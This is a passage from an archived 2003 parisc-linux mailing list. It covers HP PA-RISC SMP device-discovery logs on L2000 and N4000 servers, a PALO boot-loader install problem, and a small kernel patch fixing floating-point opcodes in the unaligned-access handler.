21. Unknown machine (0) at 0xfffffffffed2d000 [45], versions 0x5d3, 0x0,
0x0

CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
SBA found Ike rev 2 at 0xfffffffffed00000
SBA found Ike rev 2 at 0xfffffffffed40000
[...]

(trust me it exactly the same kernel on the same sys disk)

And so notice some differences (may be some one h
ve no matter, please advise):
on the L2k it first discver CPUs:
1. Rhapsody 440 (0) at 0xfffffffffffa0000 [160], versions 0x5c4, 0x0, 0x4
2. Rhapsody 440 (0) at 0xfffffffffffa6000 [166], versions 0x5c4, 0x0, 0x4

on the N4k latter:
18. DEW BC Runway Port (7) at 0xfffffffffed24000 [36], versions 0x584, 0x0,
0xc
19. Unknown machine (0) at 0xfffffffffed25000 [37], versions 0x5d3, 0x0,
0x0
20. DEW BC Runway Port (7) at 0xfffffffffed2c000 [44], versions 0x584, 0x0,
0xc
21. Unknown machine (0) at 0xfffffffffed2d000 [45], versions 0x5d3, 0x0,
0x0

and there are 'Unknown machine'?

But most _important_ (imho): SBA type and/or number;
on the L2k _ONE_
3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582,
0x0, 0xb

on the N4k _TWO_
2. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed00000 [0], versions
0x803, 0x0, 0xc
[...]
11. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed40000 [1], versions
0x803, 0x0, 0xc

And I trust that it is not the number of SBA which is most important difference
but well the type because iirc Grant mentioned that this is the same pb
on L3000 on which there are only one IKE type of SBA?

Am i wrong/right?

Is there any additional info about this SBA?

Thanks in advance for all advises,
    Joel




-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PALO boot loader installation problem
Date: Thu, 02 Oct 2003 13:51:03 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20031002195104.B366A73113__7680.76740573651$1416622840$gmane$org@fc.hp.com>
References: <20031002122111.29443.h007.c012.wm@mail.icqmail.com.criticalpath.net>
Reply-To: bame@hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622840 31970 80.91.229.3 (22 Nov 2014 02:20:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:40 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: "Diego de Fuentes Ceballos" <diego@defuentes.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 13:51:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67D254845
	for <parisc-linux@parisc-linux.org>; Thu,  2 Oct 2003 13:51:16 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 243181C03415; Thu,  2 Oct 2003 15:51:16 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 52DFB23D5A; Thu,  2 Oct 2003 13:51:15 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id C9EA81340A8; Thu,  2 Oct 2003 13:51:04 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id B366A73113; Thu,  2 Oct 2003 13:51:04 -0600 (MDT)
Original-Received: from paul.bame (localhost [127.0.0.1])
	by fc.hp.com (Postfix) with ESMTP
	id AEBC662C77; Thu,  2 Oct 2003 13:51:04 -0600 (MDT)
In-Reply-To: Message from "Diego de Fuentes Ceballos" <diego@defuentes.org> 
   of "Thu, 02 Oct 2003 12:21:11 PDT." <20031002122111.29443.h007.c012.wm@mail.icqmail.com.criticalpath.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19711

I cc-ed parisc-linux@parisc-linux.org

> Hey everyone, i am having sobe trouble installing Debian hppa on a HP b1000
> , i
> have downloaded and burnen a netinstall ISO with kernelm 2.4.22 and got
> everything up and running, i booted from CD, i installed everything, partit=
> ioned
> the hard drive, got the network configured and the base system installed but
> when i try to make the system installable i get this error:
> 
> 
> Problem
> 
> PALO wasn=B4t able to install. You can still remote boot and point the root=
>  device
> to the installed system.

The most likely cause of this is the palo (aka F0) partition is past
the 2G mark on the disk or perhaps is too small or maybe there's no
partition at all.

> I have no idea how to fix this, "remote boot and point the dive to the inst=
> alled
> system?????" WTF???, when i reboot the machi and tri to point the boot load=
> er to
> the hard drive i get nowhere, can anyone give me hand?

Boot from the CD interactively so you can edit the boot command line.
Get rid of the initrd= argument entirely and change the root=/dev/ram
to root=/dev/sdaX where X is your root partition, then boot.  This'll
use the kernel from the CD instead of the one in the palo partition.

If this works, have a look at your partition table or post it here or
re-run palo by hand and examine (or post) the error messages.

	-P


From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@smallone.fc.hp.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unaligned.c oops
Date: Thu, 2 Oct 2003 15:10:48 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <20031002211048.GA819@smallone.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="YiEDa0DAkWCtVeE4"
X-Trace: ger.gmane.org 1416622840 31972 80.91.229.3 (22 Nov 2014 02:20:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:40 +0000 (UTC)
Cc: lamont@hp.com
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 15:10:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smallone.fc.hp.com (smallone.fc.hp.com [192.25.206.249])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EFFB4845
	for <parisc-linux@parisc-linux.org>; Thu,  2 Oct 2003 15:10:49 -0600 (MDT)
Original-Received: by smallone.fc.hp.com (Postfix, from userid 1000)
	id A55CC1BE7A; Thu,  2 Oct 2003 15:10:48 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19712

--YiEDa0DAkWCtVeE4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

The following patch should make the unaligned handler work better.
(float ops were miscoded...)

lamont

--YiEDa0DAkWCtVeE4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="unaligned.diff"

Index: unaligned.c
===================================================================
RCS file: /var/cvs/linux-2.4/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.21
diff -u -r1.21 unaligned.c
--- unaligned.c	23 Sep 2003 20:15:33 -0000	1.21
+++ unaligned.c	2 Oct 2003 21:09:02 -0000
@@ -93,13 +93,17 @@
 #define OPCODE_STDA	OPCODE1(0x03,1,0xf)
 
 #define OPCODE_FLDWX	OPCODE1(0x09,0,0x0)
-#define OPCODE_FSTWX	OPCODE1(0x09,0,0x4)
+#define OPCODE_FLDWXR	OPCODE1(0x09,0,0x1)
+#define OPCODE_FSTWX	OPCODE1(0x09,0,0x8)
+#define OPCODE_FSTWXR	OPCODE1(0x09,0,0x9)
 #define OPCODE_FLDWS	OPCODE1(0x09,1,0x0)
-#define OPCODE_FSTWS	OPCODE1(0x09,1,0x4)
+#define OPCODE_FLDWSR	OPCODE1(0x09,1,0x1)
+#define OPCODE_FSTWS	OPCODE1(0x09,1,0x8)
+#define OPCODE_FSTWSR	OPCODE1(0x09,1,0x9)
 #define OPCODE_FLDDX	OPCODE1(0x0b,0,0x0)
-#define OPCODE_FSTDX	OPCODE1(0x0b,0,0x4)
+#define OPCODE_FSTDX	OPCODE1(0x0b,0,0x8)
 #define OPCODE_FLDDS	OPCODE1(0x0b,1,0x0)
-#define OPCODE_FSTDS	OPCODE1(0x0b,1,0x4)
+#define OPCODE_FSTDS	OPCODE1(0x0b,1,0x8)
 
 #define OPCODE_LDD_L	OPCODE2(0x14,0)
 #define OPCODE_FLDD_L	OPCODE2(0x14,1)
@@ -541,6 +545,8 @@
 
 	case OPCODE_FLDWX:
 	case OPCODE_FLDWS:
+	case OPCODE_FLDWXR:
+	case OPCODE_FLDWSR:
 		flop=1;
 		ret = emulate_ldw(regs,FR3(regs->iir),1);
 		break;
@@ -553,6 +559,8 @@
 
 	case OPCODE_FSTWX:
 	case OPCODE_FSTWS:
+	case OPCODE_FSTWXR:
+	case OPCODE_FSTWSR:
 		flop=1;
 		ret = emulate_stw(regs,FR3(regs->iir),1);
 		break;

--YiEDa0DAkWCtVeE4--


From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] L2000/N4000 smp devices/boot compare??
Date: Thu, 2 Oct 2003 16:38:01 -0700 (PDT)
Lines: 197
Approved: news@gmane.org
Message-ID: <20031002233801.23113.qmail@web12508.mail.yahoo.com>
References: <3F5CB6FB0000C2D7@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-413995158-1065137881=:22889"
X-Trace: ger.gmane.org 1416622840 31978 80.91.229.3 (22 Nov 2014 02:20:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:40 +0000 (UTC)
To: Joel Soete <soete.joel@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 17:38:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id 6992C4845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 17:38:02 -0600 (MDT)
Original-Received: from [161.114.1.182] by web12508.mail.yahoo.com via HTTP; Thu, 02 Oct 2003 16:38:01 PDT
In-Reply-To: <3F5CB6FB0000C2D7@ocpmta1.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19713

--0-413995158-1065137881=:22889
Content-Type: text/plain; charset=us-ascii

Joel,
 
First off, since the N, L, and A class are of the same generation of machines they are similar in some respects.  Different in others.  The L1000 and L2000 have a system card unique to that set of machines.  Being that as it is, the L1000/2000 probably use a different I/O interface chip.  The L1500 and L3000 are in essence an N Class system card cut in half and therefore use the same I/O interface as the N.  The GSP in the L Class resides in the PCI card cage with the GSP in the N Class is a seperate card attaching directly to the system card via the hot swap disk backplane.  The extra unknown system buses probably reside on the GSP of the N Class.  That would be my educated guess of what the unknown system buses are.  The N has two IKEs since it has both a left and a right PCI card cage a
 ttached directly to the system board.
 
Derek

Joel Soete <soete.joel@tiscali.be> wrote:
Hi all,

Sorry if annoying with smp but I have an opportunity to test an hypothesis:
2.4 64bits smp capability would work on a L2000 (because it works on a A500)

Yes it works (I just compile a kernel (while a 'top' showing me cc1 switching
from 
pu1 to cpu2 to cpu1...) because I just have it for some hours).

And I compare devices found:

[...]
model 9000/800/L2000-44
[...]
Searching for devices:
Found devices:
1. Rhapsody 440 (0) at 0xfffffffffffa0000 [160], versions 0x5c4, 0x0, 0x4

2. Rhapsody 440 (0) at 0xfffffffffffa6000 [166], versions 0x5c4, 0x0, 0x4
3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582,
0x0, 0xb
4. Elroy PCI Bridge (13) at 0xfffffffffed30000 [0/0], versions 0x782, 0x0,
0xa
5. Elroy PCI 
ridge (13) at 0xfffffffffed32000 [0/1], versions 0x782, 0x0,
0xa
6. Elroy PCI Bridge (13) at 0xfffffffffed34000 [0/2], versions 0x782, 0x0,
0xa
7. Elroy PCI Bridge (13) at 0xfffffffffed36000 [0/3], versions 0x782, 0x0,
0xa
8. Elroy PCI Bridge (13
at 0xfffffffffed38000 [0/4], versions 0x782, 0x0,
0xa
9. Elroy PCI Bridge (13) at 0xfffffffffed3a000 [0/5], versions 0x782, 0x0,
0xa
10. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [0/6], versions 0x782, 0x0,
0xa
11. Elroy PCI Bridge (13) at 0xf
fffffffed3e000 [0/7], versions 0x782, 0x0,
0xa
12. Memory (1) at 0xfffffffffed08000 [8], versions 0x95, 0x0, 0x9
CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
[...]


[...]
model 9000/800/N4000-55
[...

Searching for devices...
Found devices:
1. Memory (1) at 0xfffffffffedc0000 [192], versions 0x90, 0x0, 0x9
2. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed00000 [0], versions
0x803, 0x0, 0xc
3. Elroy PCI Bridge (13) at 0xffffffffbffe000 [0/0], versions 0x782, 0x0,
0xa
4. Elroy PCI Bridge (13) at 0xffffffffbffe2000 [0/1], versions 0x782, 0x0,
0xa
5. Elroy PCI Bridge (13) at 0xffffffffbffe4000 [0/2], versions 0x782, 0x0,
0xa
6. Elroy PCI Bridge (13) at 0xffffffffbffe8000 [0/4], versions 0x782, 0x0,
0xa
7. Elroy PCI Bridge (13) at 0xffffffffbffea000 [0/5], versions 0x782, 0x0,
0xa
8. Elroy PCI Bridge (13) at 0xffffffffbfff0000 [0/8], versions 0x782, 0x0,
0xa
9. Elroy PCI Bridge (13) at 0xffffffffbfff4000 [0/10], versions 0x782, 0x0,
0xa
10. Elroy PCI Bridge (13) at 0xffffffffbfff8000 [0/12], versions 0x782, 0x0,

0xa
11. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed40000 [1], versions
0x803, 0x0, 0xc
12. Elroy PCI Bridge (13) at 0xfffffffffece0000 [1/0], versions 0x782, 0x0,
0xa
13. Elroy PCI Bridge (13) at 0xfffffffffece4000 [1/2], versions 0x782, 0x0,
0xa
14. Elroy PCI Bridge (13) at 0xfffffffffece8000 [1/4], versions 0x782, 0x0,
0xa
15. Elroy PCI Bridge (13) at 0xfffffffffecf0000 [1/8], versions 0x782, 0x0,
0xa
16. Elroy PCI Bridge (13) at 0xfffffffffecf4000 [1/10], versions 0x782, 0x0,

0xa
17. Elroy PCI Bridge (13) at 0xfffffffffecf8000 [1/12], versions 0x782, 0x0,

0xa
18. DEW BC Runway Port (7) at 0xfffffffffed24000 [36], versions 0x584, 0x0,
0xc
19. Unknown machine (0) at 0xfffffffffed25000 [37], versions 0x5d3, 0x0,
0x0
20. DEW BC Runway Port (7) at 0xfffffffffed2c000 [44], versions 0x584, 0x0,
0xc
21. Unknown machine (0) at 0xfffffffffed2d000 [45], versions 0x5d3, 0x0,
0x0

CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
SBA found Ike rev 2 at 0xfffffffffed00000
SBA found Ike rev 2 at 0xfffffffffed40000
[...]

(trust me it exactly the same kernel on the same sys disk)

And so notice some differences (may be some one h
ve no matter, please advise):
on the L2k it first discver CPUs:
1. Rhapsody 440 (0) at 0xfffffffffffa0000 [160], versions 0x5c4, 0x0, 0x4
2. Rhapsody 440 (0) at 0xfffffffffffa6000 [166], versions 0x5c4, 0x0, 0x4

on the N4k latter:
18. DEW BC Runway Port (7) at 0xfffffffffed24000 [36], versions 0x584, 0x0,
0xc
19. Unknown machine (0) at 0xfffffffffed25000 [37], versions 0x5d3, 0x0,
0x0
20. DEW BC Runway Port (7) at 0xfffffffffed2c000 [44], versions 0x584, 0x0,
0xc
21. Unknown machine (0) at 0xfffffffffed2d000 [45], versions 0x5d3, 0x0,
0x0

and there are 'Unknown machine'?

But most _important_ (imho): SBA type and/or number;
on the L2k _ONE_
3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582,
0x0, 0xb

on the N4k _TWO_
2. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed00000 [0], versions
0x803, 0x0, 0xc
[...]
11. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed40000 [1], versions
0x803, 0x0, 0xc

And I trust that it is not the number of SBA which is most important difference
but well the type because iirc Grant mentioned that this is the same pb
on L3000 on which there are only one IKE type of SBA?

Am i wrong/right?

Is there any additional info about this SBA?

Thanks in advance for all advises,
Joel




-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---------------------------------
Do you Yahoo!?
The New Yahoo! Shopping - with improved product search
--0-413995158-1065137881=:22889
Content-Type: text/html; charset=us-ascii

<DIV>Joel,</DIV>
<DIV>&nbsp;</DIV>
<DIV>First off, since the N, L, and A class are of the same generation of machines they are similar in some respects.&nbsp; Different in others.&nbsp; The L1000 and L2000 have a system card unique to that set of machines.&nbsp; Being that as it is, the L1000/2000 probably use a different I/O interface chip.&nbsp; The L1500 and L3000 are in essence an N Class system card cut in half and therefore use the same I/O interface as the N.&nbsp; The GSP in the L Class resides in the PCI card cage with the GSP in the N Class is a seperate card attaching directly to the system card via the hot swap disk backplane.&nbsp; The extra unknown system buses probably reside on the GSP of the N Class.&nbsp; That would be my educated guess of what the unknown system buses are.&nbsp; The N has two IKEs since i
 t has both a left and a right PCI card cage attached directly to the system board.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Derek</DIV>
<DIV><BR><B><I>Joel Soete &lt;soete.joel@tiscali.be&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE class=replbq style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Hi all,<BR><BR>Sorry if annoying with smp but I have an opportunity to test an hypothesis:<BR>2.4 64bits smp capability would work on a L2000 (because it works on a A500)<BR><BR>Yes it works (I just compile a kernel (while a 'top' showing me cc1 switching<BR>from <BR>pu1 to cpu2 to cpu1...) because I just have it for some hours).<BR><BR>And I compare devices found:<BR><BR>[...]<BR>model 9000/800/L2000-44<BR>[...]<BR>Searching for devices:<BR>Found devices:<BR>1. Rhapsody 440 (0) at 0xfffffffffffa0000 [160], versions 0x5c4, 0x0, 0x4<BR><BR>2. Rhapsody 440 (0) at 0xfffffffffffa6000 [166], versions 0x5c4, 0x0, 0x4<BR>3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582,<BR>0x
 0, 0xb<BR>4. Elroy PCI Bridge (13) at 0xfffffffffed30000 [0/0], versions 0x782, 0x0,<BR>0xa<BR>5. Elroy PCI <BR>ridge (13) at 0xfffffffffed32000 [0/1], versions 0x782, 0x0,<BR>0xa<BR>6. Elroy PCI
 Bridge (13) at 0xfffffffffed34000 [0/2], versions 0x782, 0x0,<BR>0xa<BR>7. Elroy PCI Bridge (13) at 0xfffffffffed36000 [0/3], versions 0x782, 0x0,<BR>0xa<BR>8. Elroy PCI Bridge (13<BR>at 0xfffffffffed38000 [0/4], versions 0x782, 0x0,<BR>0xa<BR>9. Elroy PCI Bridge (13) at 0xfffffffffed3a000 [0/5], versions 0x782, 0x0,<BR>0xa<BR>10. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [0/6], versions 0x782, 0x0,<BR>0xa<BR>11. Elroy PCI Bridge (13) at 0xf<BR>fffffffed3e000 [0/7], versions 0x782, 0x0,<BR>0xa<BR>12. Memory (1) at 0xfffffffffed08000 [8], versions 0x95, 0x0, 0x9<BR>CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz<BR>SBA found Astro 2.1 at 0xfffffffffed00000<BR>[...]<BR><BR><BR>[...]<BR>model 9000/800/N4000-55<BR>[...<BR><BR>Searching for devices...<BR>Found devices:<BR>1. Memory (1) at 0xfff
 ffffffedc0000 [192], versions 0x90, 0x0, 0x9<BR>2. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed00000 [0], versions<BR>0x803, 0x0, 0xc<BR>3. Elroy PCI Bridge (13) at 0xffffffffbffe000
 [0/0], versions 0x782, 0x0,<BR>0xa<BR>4. Elroy PCI Bridge (13) at 0xffffffffbffe2000 [0/1], versions 0x782, 0x0,<BR>0xa<BR>5. Elroy PCI Bridge (13) at 0xffffffffbffe4000 [0/2], versions 0x782, 0x0,<BR>0xa<BR>6. Elroy PCI Bridge (13) at 0xffffffffbffe8000 [0/4], versions 0x782, 0x0,<BR>0xa<BR>7. Elroy PCI Bridge (13) at 0xffffffffbffea000 [0/5], versions 0x782, 0x0,<BR>0xa<BR>8. Elroy PCI Bridge (13) at 0xffffffffbfff0000 [0/8], versions 0x782, 0x0,<BR>0xa<BR>9. Elroy PCI Bridge (13) at 0xffffffffbfff4000 [0/10], versions 0x782, 0x0,<BR>0xa<BR>10. Elroy PCI Bridge (13) at 0xffffffffbfff8000 [0/12], versions 0x782, 0x0,<BR><BR>0xa<BR>11. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed40000 [1], versions<BR>0x803, 0x0, 0xc<BR>12. Elroy PCI Bridge (13) at 0xfffffffffece0000 [1/0], vers
 ions 0x782, 0x0,<BR>0xa<BR>13. Elroy PCI Bridge (13) at 0xfffffffffece4000 [1/2], versions 0x782, 0x0,<BR>0xa<BR>14. Elroy PCI Bridge (13) at 0xfffffffffece8000 [1/4], versions 0x782,
 0x0,<BR>0xa<BR>15. Elroy PCI Bridge (13) at 0xfffffffffecf0000 [1/8], versions 0x782, 0x0,<BR>0xa<BR>16. Elroy PCI Bridge (13) at 0xfffffffffecf4000 [1/10], versions 0x782, 0x0,<BR><BR>0xa<BR>17. Elroy PCI Bridge (13) at 0xfffffffffecf8000 [1/12], versions 0x782, 0x0,<BR><BR>0xa<BR>18. DEW BC Runway Port (7) at 0xfffffffffed24000 [36], versions 0x584, 0x0,<BR>0xc<BR>19. Unknown machine (0) at 0xfffffffffed25000 [37], versions 0x5d3, 0x0,<BR>0x0<BR>20. DEW BC Runway Port (7) at 0xfffffffffed2c000 [44], versions 0x584, 0x0,<BR>0xc<BR>21. Unknown machine (0) at 0xfffffffffed2d000 [45], versions 0x5d3, 0x0,<BR>0x0<BR><BR>CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz<BR>SBA found Ike rev 2 at 0xfffffffffed00000<BR>SBA found Ike rev 2 at 0xfffffffffed40000<BR>[...]<BR><BR>(trust me it exactly t
 he same kernel on the same sys disk)<BR><BR>And so notice some differences (may be some one h<BR>ve no matter, please advise):<BR>on the L2k it first discver CPUs:<BR>1. Rhapsody 440 (0) at
 0xfffffffffffa0000 [160], versions 0x5c4, 0x0, 0x4<BR>2. Rhapsody 440 (0) at 0xfffffffffffa6000 [166], versions 0x5c4, 0x0, 0x4<BR><BR>on the N4k latter:<BR>18. DEW BC Runway Port (7) at 0xfffffffffed24000 [36], versions 0x584, 0x0,<BR>0xc<BR>19. Unknown machine (0) at 0xfffffffffed25000 [37], versions 0x5d3, 0x0,<BR>0x0<BR>20. DEW BC Runway Port (7) at 0xfffffffffed2c000 [44], versions 0x584, 0x0,<BR>0xc<BR>21. Unknown machine (0) at 0xfffffffffed2d000 [45], versions 0x5d3, 0x0,<BR>0x0<BR><BR>and there are 'Unknown machine'?<BR><BR>But most _important_ (imho): SBA type and/or number;<BR>on the L2k _ONE_<BR>3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582,<BR>0x0, 0xb<BR><BR>on the N4k _TWO_<BR>2. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed00000 [0], versi
 ons<BR>0x803, 0x0, 0xc<BR>[...]<BR>11. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed40000 [1], versions<BR>0x803, 0x0, 0xc<BR><BR>And I trust that it is not the number of SBA which is most
 important difference<BR>but well the type because iirc Grant mentioned that this is the same pb<BR>on L3000 on which there are only one IKE type of SBA?<BR><BR>Am i wrong/right?<BR><BR>Is there any additional info about this SBA?<BR><BR>Thanks in advance for all advises,<BR>Joel<BR><BR><BR><BR><BR>-------------------------------------------------------------------------<BR>L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro<BR>pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr <BR><BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://shopping.yahoo.com/?__yltc=s%3A150000443%2Cd%3A22708228%2Cslk%3Atext%2Csec%3Amail">The New Yahoo! Shopping</a> - with improved product search
--0-413995158-1065137881=:22889--


From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] L2000/N4000 smp devices/boot compare??
Date: Fri, 3 Oct 2003 01:18:10 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20031003001810.GH24824@parcelfarce.linux.theplanet.co.uk>
References: <3F5CB6FB0000C2D7@ocpmta1.freegates.net> <20031002233801.23113.qmail@web12508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622840 31980 80.91.229.3 (22 Nov 2014 02:20:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:40 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 18:18:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 335A44852
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 18:18:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A5De6-0000XY-Vo; Fri, 03 Oct 2003 01:18:10 +0100
Content-Disposition: inline
